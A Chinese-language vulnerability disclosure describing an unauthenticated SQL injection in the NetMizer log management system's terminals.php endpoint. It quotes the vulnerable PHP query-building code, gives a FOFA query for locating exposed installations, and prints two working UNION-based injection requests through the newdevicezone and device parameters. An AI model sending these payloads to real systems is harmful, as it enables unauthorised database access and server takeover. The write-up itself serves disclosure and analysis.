漏洞简介

NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具，能够高效采集、存储和分析网络设备及应用的日志数据。然而，该系统中的 /data/echart/terminals.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用SQL注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

老旧版本

fofa语法

body="日志管理系统" && body="NetMizer"

漏洞分析

看下 /data/echart/terminals.php 业务实现关键逻辑部分

if(isset($devicezone)) {
    $devicename = $devicezone;
    $devicezone = mb_check_encoding($devicezone, 'UTF-8') ? mb_convert_encoding($devicezone, 'gbk', 'UTF-8') : $devicezone;
    if($devicezone == "全部设备") $sqldevice = "";
    else $sqldevice = getsqldevice($devicezone);
} else if(isset($device)){
    if($device != "-1"){
       $devicename = long2ip($device);
       $sqldevice = " and nodeid = $device ";
    } else {
       $sqldevice = "";
    }
} else $sqldevice = "";
......
if($action == 'phonelist-grid'){
       $sqlstr = "select terminal_id,terminal_name,sum(in_bytes) as in_bytes,sum(out_bytes) as out_bytes,sum(in_bytes+out_bytes) as total_bytes,sum(terminal_session_num) as terminal_session_num, max(terminal_num) as terminal_num from tbl_terminals_info where create_time >= $start_time and create_time < $stop_time $sqldevice group by terminal_id order by $flowname desc";
//echo "$sqlstr\n";

       $res=mysql_query($sqlstr);
......
else if($action == 'phonelist-pie'){
       $sqlstr = "select terminal_id,terminal_name,sum($sqlname) as $flowname from tbl_terminals_info where create_time >= $start_time and create_time < $stop_time $sqldevice group by terminal_id order by $flowname desc";
......
else if(1||$action == 'phonelist-bar'){
       if($type < 4)
          $sqlstr = "select terminal_id,terminal_name,sum(in_bytes) as in_bytes,sum(out_bytes) as out_bytes,sum(in_bytes + out_bytes) as total_bytes from tbl_terminals_info where create_time >= $start_time and create_time < $stop_time $sqldevice group by terminal_id order by $flowname desc";
       else
          $sqlstr = "select terminal_id,terminal_name,sum(terminal_session_num) as terminal_session_num from tbl_terminals_info where create_time >= $start_time and create_time < $stop_time $sqldevice group by terminal_id order by $flowname desc";

当用户通过 newdevicezone GET/POST参数提交以 ip: 为前缀的输入时，ip: 之后的部分会被提取并赋值给 $device 变量。此 $device 变量在后续构建 $sqldevice 字符串时，未经任何安全处理（如转义或参数化查询）便直接拼接到SQL查询语句 and nodeid = $device 中。这使得攻击者能够构造恶意的SQL代码片段，通过 $newdevicezone 参数注入到最终执行的SQL查询中，造成SQL注入漏洞。

漏洞复现

漏洞利用示例

newdevicezone

GET /data/echart/terminals.php?action=phonelist-grid&newdevicezone=ip:0%20-111+UNION+ALL+SELECT+null,CONCAT(0x7e,(select/**/user()),0x7e),null,null,null,null,null-- HTTP/1.1
Host: netmizer.mrxn.net

device

GET /data/echart/terminals.php?action=phonelist-grid&device=-111+UNION+ALL+SELECT+null,CONCAT(0x7e,(select/**/user()),0x7e),null,null,null,null,null-- HTTP/1.1
Host: netmizer.mrxn.net

通过union注入，成功得到数据库用户信息